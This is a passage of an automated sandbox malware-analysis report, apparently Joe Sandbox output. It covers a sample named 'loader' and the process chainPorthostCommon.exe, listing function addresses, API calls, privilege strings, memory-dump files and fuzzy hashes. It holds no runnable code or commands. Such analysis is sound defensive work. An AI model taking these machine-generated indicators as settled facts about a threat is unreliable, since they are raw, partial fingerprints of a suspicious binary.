Function 006531D6 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_abort.LIBCMT ref: 00653306

Strings

RCC, xrefs: 00653215
MOC, xrefs: 0065320D

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: _abort
String ID: MOC$RCC
API String ID: 1888311480-2084237596
Opcode ID: c2a599be695c8d5647c2223a966babfe613a4abd293e467d287912e9601a909c
Instruction ID: 39a013546f226c569df73e7292414694b661357216c6ca3bc6a12b1de7385b50
Opcode Fuzzy Hash: c2a599be695c8d5647c2223a966babfe613a4abd293e467d287912e9601a909c
Instruction Fuzzy Hash: 7B41673290021AAFCF15DF98CC81AEEBBB6BF08745F188099FD04A7311D335AA54DB54

Function 00637401 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 103COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00637406

Part of subcall function 00633BBA: __EH_prolog.LIBCMT ref: 00633BBF

Strings

SeSecurityPrivilege, xrefs: 0063744B
SeRestorePrivilege, xrefs: 00637460

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: H_prolog
String ID: SeRestorePrivilege$SeSecurityPrivilege
API String ID: 3519838083-639343689
Opcode ID: dc8f9ce09584b82317e3a396571ec632507a7e3a16e7eda1c127cfe13954f0f9
Instruction ID: 10a6c3ad875cb1b58a0066250893aa43b89aa84c80929871b8ee4d724493ce14
Opcode Fuzzy Hash: dc8f9ce09584b82317e3a396571ec632507a7e3a16e7eda1c127cfe13954f0f9
Instruction Fuzzy Hash: 3131C6B1D04258AADF65EFA4CC45BEE7FBBAF05314F04401AF445AB382CB749A84C7A5

Function 0064B48E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0064B4E3
_wcslen.LIBCMT ref: 0064B4FE

Strings

}, xrefs: 0064B4D6

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: _wcslen
String ID: }
API String ID: 176396367-4239843852
Opcode ID: ca7077411cbf74d8bab5c417b96e5df80a3451c7baa8504416be511720d55a2a
Instruction ID: 9a569ec6cd825267c1e492fd5575765d36cecf5d85f3ac6ea2156bc1b66c34f5
Opcode Fuzzy Hash: ca7077411cbf74d8bab5c417b96e5df80a3451c7baa8504416be511720d55a2a
Instruction Fuzzy Hash: 4A21F07290431A5AD735EF68D845EABB3EEDF91750F04142EF940C3341EB65DD4883A6

Function 0064DB4B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0064DBAC

Strings

d, xrefs: 0064DB9F
Software\WinRAR SFX, xrefs: 0064DB95

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: _wcslen
String ID: Software\WinRAR SFX$d
API String ID: 176396367-4033024366
Opcode ID: 6d09adb76ca96b4a5fe8f2292424542c353bccf5514896f0e857f518a122be77
Instruction ID: 408f10e70a689fac787fdce98bee2cc0adbd2236435b05d7b6412174e35c719a
Opcode Fuzzy Hash: 6d09adb76ca96b4a5fe8f2292424542c353bccf5514896f0e857f518a122be77
Instruction Fuzzy Hash: 10018B71900128BAEB219F91DC0AFDF7FBEEB45790F004056B509A11A0D7B18A88CBA1

Function 0064AE2F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

Part of subcall function 0063C29A: _wcslen.LIBCMT ref: 0063C2A2

Part of subcall function 00641FDD: _wcslen.LIBCMT ref: 00641FE5
Part of subcall function 00641FDD: _wcslen.LIBCMT ref: 00641FF6
Part of subcall function 00641FDD: _wcslen.LIBCMT ref: 00642006
Part of subcall function 00641FDD: _wcslen.LIBCMT ref: 00642014

Part of subcall function 0064AC04: SetCurrentDirectoryW.KERNELBASE(?), ref: 0064AC08

_wcslen.LIBCMT ref: 0064AE8B

Strings

<d, xrefs: 0064AEC4
C:\Users\user\Desktop, xrefs: 0064AE68

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: _wcslen$CurrentDirectory
String ID: <d$C:\Users\user\Desktop
API String ID: 3341907918-478003630
Opcode ID: b854f2c1344c7832eeaae4fb4366ccaf3fecd9230ff46c71d668a2847295297d
Instruction ID: e39d08bea5476c48c5655e613f19ec7b6ad69a89b457200b05552406e0717054
Opcode Fuzzy Hash: b854f2c1344c7832eeaae4fb4366ccaf3fecd9230ff46c71d668a2847295297d
Instruction Fuzzy Hash: 2D014471D40229A6DF51ABE4DD0AEDF77FEAF09700F00045AF606E3191E6B49684CBA9

Function 0064B425 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45COMMON

Download Yara Rule

APIs

SHGetMalloc.SHELL32(?), ref: 0064B42F

Strings

Zd, xrefs: 0064B441
(d, xrefs: 0064B457

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: Malloc
String ID: (d$Zd
API String ID: 2696272793-2178031859
Opcode ID: 9820b57c93299213c19e17db2e59769bb60e1e0f079cd134ad513e6c2a4cef57
Instruction ID: ce3be0bfe547da4b473ebc8677cf8c9321213c2f36c2c6911b6cc05d9b724e6a
Opcode Fuzzy Hash: 9820b57c93299213c19e17db2e59769bb60e1e0f079cd134ad513e6c2a4cef57
Instruction Fuzzy Hash: 490146B6600118FF9F059FB0DC49CEEBBAEEF08344700115AB906D7220E631AA44DBA0

Analysis Process: chainPorthostCommon.exePID: 2308, Parent PID: 2056COMMON

Execution Graph

Execution Coverage:	9.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	4
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFD343F0D48 Relevance: 1.5, Strings: 1, Instructions: 259
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

5Y_H, xrefs: 00007FFD343F0DF3

Memory Dump Source

Source File: 00000005.00000002.2361395915.00007FFD343F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd343f0000_chainPorthostCommon.jbxd

Similarity

API ID:
String ID: 5Y_H
API String ID: 0-3237497481
Opcode ID: 61bb9639e054a4800ac786bfe74dfe1dc80ff006459b42e6c6e7711cca5ca787
Instruction ID: 612147881d73cfebae2849f1b401293db5723d75177cd1ee31620a3c64e4e48c
Opcode Fuzzy Hash: 61bb9639e054a4800ac786bfe74dfe1dc80ff006459b42e6c6e7711cca5ca787
Instruction Fuzzy Hash: 2291AF76A18A898FE759EB6C88657F97FE1FB96310F4001BFD049D72D2CE7918158700

Function 00007FFD343F0E43 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2361395915.00007FFD343F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd343f0000_chainPorthostCommon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff479655eaa78f25bde5bb6171f506b4df4e4240a6acc775a42093cc68e09bc7
Instruction ID: 4ff94b81999ad5d94e92c8a8af5a88065f1810b379ff56134eff1e8259710d20
Opcode Fuzzy Hash: ff479655eaa78f25bde5bb6171f506b4df4e4240a6acc775a42093cc68e09bc7
Instruction Fuzzy Hash: 04518F76B18A4D8BE798DB5C98657F9BFE1FB9A310F5002BFC009D76D1CAB914118B00

Function 00007FFD347EECF1 Relevance: 1.7, APIs: 1, Instructions: 248
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

QueryFullProcessImageNameA.KERNELBASE ref: 00007FFD347EEEA1

Memory Dump Source

Source File: 00000005.00000002.2364332811.00007FFD347E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd347e0000_chainPorthostCommon.jbxd

Similarity

API ID: FullImageNameProcessQuery
String ID:
API String ID: 3578328331-0
Opcode ID: 576146864a6a8ebafac5cd2f306df8e716da4186193ae0d1e4a1b3d98ad089a3
Instruction ID: 75e5f0b74f10db6b7a4468741e5bb01f978e08d1240bf7cc52e87d39e2fb3ea3
Opcode Fuzzy Hash: 576146864a6a8ebafac5cd2f306df8e716da4186193ae0d1e4a1b3d98ad089a3
Instruction Fuzzy Hash: 4171A470618A8C8FDB68DF28D8957F937E1FB59311F04422EE84EC7292CB75A845CB81

Function 00007FFD343F08D0 Relevance: 1.4, Strings: 1, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(7J4, xrefs: 00007FFD343FB0D5

Memory Dump Source

Source File: 00000005.00000002.2361395915.00007FFD343F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd343f0000_chainPorthostCommon.jbxd

Similarity

API ID:
String ID: (7J4
API String ID: 0-1321531618
Opcode ID: c63b62705ba12ab851b81aa8b888fbd1846e2e2150d896f3efb810b2873d7714
Instruction ID: 83ee54297cad118e0d738aa7982e94436bb3acc2df82c39e706a4b8dc2ee17d2
Opcode Fuzzy Hash: c63b62705ba12ab851b81aa8b888fbd1846e2e2150d896f3efb810b2873d7714
Instruction Fuzzy Hash: 79416622B4D56A0EE711B3BC64BA2F97BA0DF46321F1805BFD58DC71D3CD2968818280

Function 00007FFD343F0960 Relevance: 1.4, Strings: 1, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(7J4, xrefs: 00007FFD343FB0D5

Memory Dump Source

Source File: 00000005.00000002.2361395915.00007FFD343F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd343f0000_chainPorthostCommon.jbxd

Similarity

API ID:
String ID: (7J4
API String ID: 0-1321531618
Opcode ID: 51c8106e3070ad5d835b2b673346248b16e92062aa1a17bcf48a1b76faaae9ce
Instruction ID: a657ab90f7ff5c8ecc9f8d1e98211a85af33423bd29edf53e0d1dbffb3d9c3bb
Opcode Fuzzy Hash: 51c8106e3070ad5d835b2b673346248b16e92062aa1a17bcf48a1b76faaae9ce
Instruction Fuzzy Hash: 97313722B0D95A1FE754B3AC64AA6F973D5DF4A321F1400BFD40EC31D3CD2DA8818284

Function 00007FFD343F0998 Relevance: 1.3, Strings: 1, Instructions: 99
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(7J4, xrefs: 00007FFD343FB0D5

Memory Dump Source

Source File: 00000005.00000002.2361395915.00007FFD343F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd343f0000_chainPorthostCommon.jbxd

Similarity

API ID:
String ID: (7J4
API String ID: 0-1321531618
Opcode ID: 95ec71e36e969429fa9b4265082e4b314b8fa0313451ed826faac71bddb368c0
Instruction ID: a6e109fe895a8820180816996cf6930b01da69b1f5e4dc1e841b485adf96e96e
Opcode Fuzzy Hash: 95ec71e36e969429fa9b4265082e4b314b8fa0313451ed826faac71bddb368c0
Instruction Fuzzy Hash: 9E213521B5C95A0FE748F72C98BA6B977C2EF9A310F0400BDE84EC32D3DD28AC418644

Function 00007FFD343F0C25 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2361395915.00007FFD343F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd343f0000_chainPorthostCommon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db0aef072ec64929b5b35d505abda884b126e8e6653ca62790435b13f0a165cb
Instruction ID: f635705e41577bd4d972c219ecfbd37066fccb1de74bde070d647042dbdc5e89
Opcode Fuzzy Hash: db0aef072ec64929b5b35d505abda884b126e8e6653ca62790435b13f0a165cb
Instruction Fuzzy Hash: 4A210436B0E2898FE312EB2C88A51DD7FB0DF43324F1541B6C180DB192E93C16499781

Function 00007FFD34556062 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2362677341.00007FFD34550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34550000_chainPorthostCommon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 839cf054f40f1eaf073a754b952fd925ededef5316f6ec54510772f4045a6471
Instruction ID: fb0147643ad015df662eae5a1cd7672db4baeb94f9e03f3e46305a029038bce0
Opcode Fuzzy Hash: 839cf054f40f1eaf073a754b952fd925ededef5316f6ec54510772f4045a6471
Instruction Fuzzy Hash: B52130B1E099894FDF98EB1C84A5AB4B7E1FB64304B0441FED18DE7192CD35A8C88B51

Function 00007FFD343F108D Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2361395915.00007FFD343F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd343f0000_chainPorthostCommon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce0331f1fd5ac050fb68bda5cd30933b6e2ebc632be8c098c41d163f991eda0a
Instruction ID: 39bcde144d68055130f70fc5d3b91302300cb832faab02ad9652c6d660fe9f3a
Opcode Fuzzy Hash: ce0331f1fd5ac050fb68bda5cd30933b6e2ebc632be8c098c41d163f991eda0a
Instruction Fuzzy Hash: 58012612A8D6D20FEB2A97745CB19B23FD4CF8721070901FAD589CB1E3CC5E5C868361

Function 00007FFD343F0C38 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2361395915.00007FFD343F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd343f0000_chainPorthostCommon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf6847ae8d63ebd66c4a1f2f39095c0d7348fe632a9d5ee38005fcab522c6132
Instruction ID: 4b00678239cfa313c1df579f2302f8607a62677eab05bd9a972db86c5f821d9d
Opcode Fuzzy Hash: bf6847ae8d63ebd66c4a1f2f39095c0d7348fe632a9d5ee38005fcab522c6132
Instruction Fuzzy Hash: 8B11C236B0E78C8FE702EB2898A51DD7FB0EF43310F1545F6C184DB192E93816498781

Function 00007FFD3455608A Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2362677341.00007FFD34550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34550000_chainPorthostCommon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c850f67d184c6ec657b2daa5c0fe828e8812b18df6a7fdd18846dba52438fdc6
Instruction ID: 248679063f8cc668fe55a6be568170d8ac247f80ca3de17dd47b66c0975963e4
Opcode Fuzzy Hash: c850f67d184c6ec657b2daa5c0fe828e8812b18df6a7fdd18846dba52438fdc6
Instruction Fuzzy Hash: 631112B1A099994FDF9CEB1C84A1AB4B7E1FB54304B0441FAD14DE7192CD36A8C8CB51

Function 00007FFD343F0C40 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2361395915.00007FFD343F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd343f0000_chainPorthostCommon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0055a019e28ed7764e063d9d1753e497ffc5c2041896c98c6990a9909edbaa2
Instruction ID: c47310b7f958e230ee4ffdc2f7e0ec0a59fd9a2810f72563bb3751650f9a85a3
Opcode Fuzzy Hash: e0055a019e28ed7764e063d9d1753e497ffc5c2041896c98c6990a9909edbaa2
Instruction Fuzzy Hash: D701C436A0E7888FE702EB28D8A41DD7FB0EF43310F1545E6C180DB192E5385648C781

Function 00007FFD343F5EF1 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2361395915.00007FFD343F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd343f0000_chainPorthostCommon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2714df475ae315f5876ba6722e2cdbb60317ff3c9c98518f8b9ed720572965c
Instruction ID: 0d43c9792ab89395e9c3522293994f5d1b259a10e799d25567bea4b6fefa6189
Opcode Fuzzy Hash: d2714df475ae315f5876ba6722e2cdbb60317ff3c9c98518f8b9ed720572965c
Instruction Fuzzy Hash: BD014422F5CA1E4FE7A4B71C88F57B862A0BF46300F5001B5D90DE32A2ED3C6D45A740

Function 00007FFD343F171D Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2361395915.00007FFD343F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd343f0000_chainPorthostCommon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41a81e2f501f7b202498f626e282896b9fec613f49a340cd8b06a6695a9ec657
Instruction ID: 57d4c4966154fdd0087c01c7039f4b469fd3002f5d4966176c9237c929a3d2b8
Opcode Fuzzy Hash: 41a81e2f501f7b202498f626e282896b9fec613f49a340cd8b06a6695a9ec657
Instruction Fuzzy Hash: D8F0A423F4C91A4BEB58B60898A55E92392DF91310F050776D40DC72D6DE2CAD0287C0

Function 00007FFD343F5F11 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2361395915.00007FFD343F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd343f0000_chainPorthostCommon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e9778df4750084cb75aec90f917a2514228f83ca38fe3945c032ecbe2bdda72
Instruction ID: b710403b9169e36e88c60335b83b09699bc2196bb5289f811a98c9f3d2cc6401
Opcode Fuzzy Hash: 5e9778df4750084cb75aec90f917a2514228f83ca38fe3945c032ecbe2bdda72
Instruction Fuzzy Hash: 00011D31E9C51E8AEBA4BA04D8A5AF873A1EF15301F5041F9D90ED31A2EE3C69C55A41

Function 00007FFD343F0C48 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2361395915.00007FFD343F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd343f0000_chainPorthostCommon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae6f49a5d267d292664f54071ebcd67099a6a739cc3fcab9b33d4b5c13937cc8
Instruction ID: fee65fab9e0331adcd332d7e093f5f0dbfcea842bb80ed2b211b1408c3921df4
Opcode Fuzzy Hash: ae6f49a5d267d292664f54071ebcd67099a6a739cc3fcab9b33d4b5c13937cc8
Instruction Fuzzy Hash: 4E017136A0E7888FD712EB78C8941DDBFB0EF43314F1545EAD580DB2A2E6385A48D781

Function 00007FFD343F0C50 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2361395915.00007FFD343F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd343f0000_chainPorthostCommon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49b036f6550f1dcf331c3e2222f6c721b05443f30d9b5dcc949ffd2e573f0d3f
Instruction ID: b2639f529c9f143c799bb108bc710d0dada48acffc0734fecb7c813628ffad41
Opcode Fuzzy Hash: 49b036f6550f1dcf331c3e2222f6c721b05443f30d9b5dcc949ffd2e573f0d3f
Instruction Fuzzy Hash: 4C01A235A0E3888FE712EB7888941DDBFF0EF03304F1541E6C580DB292E9385A48C741

Function 00007FFD343F0B87 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2361395915.00007FFD343F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd343f0000_chainPorthostCommon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c172775434999ab982a50e6798801dc1a6d2b61753b007ec10068316fe9f6c43
Instruction ID: 00ee83581e5ad0af3d8382b7c48335608e0de075af0e5a326a4fd188eb85fcc7
Opcode Fuzzy Hash: c172775434999ab982a50e6798801dc1a6d2b61753b007ec10068316fe9f6c43
Instruction Fuzzy Hash: FCE0263232D54E4FDB02FB3CDC9A8A87B50EB4B21078601FAD008CB0A2C212684E8B01

Function 00007FFD343F10C0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2361395915.00007FFD343F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD343F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd343f0000_chainPorthostCommon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39d90e58024a9c2db94073a3ee19896d09c53e440049174de8d8b582b493145e
Instruction ID: d9dab142fee693210aafb43b4c21a371452ac365953f408688fe02885affe872
Opcode Fuzzy Hash: 39d90e58024a9c2db94073a3ee19896d09c53e440049174de8d8b582b493145e
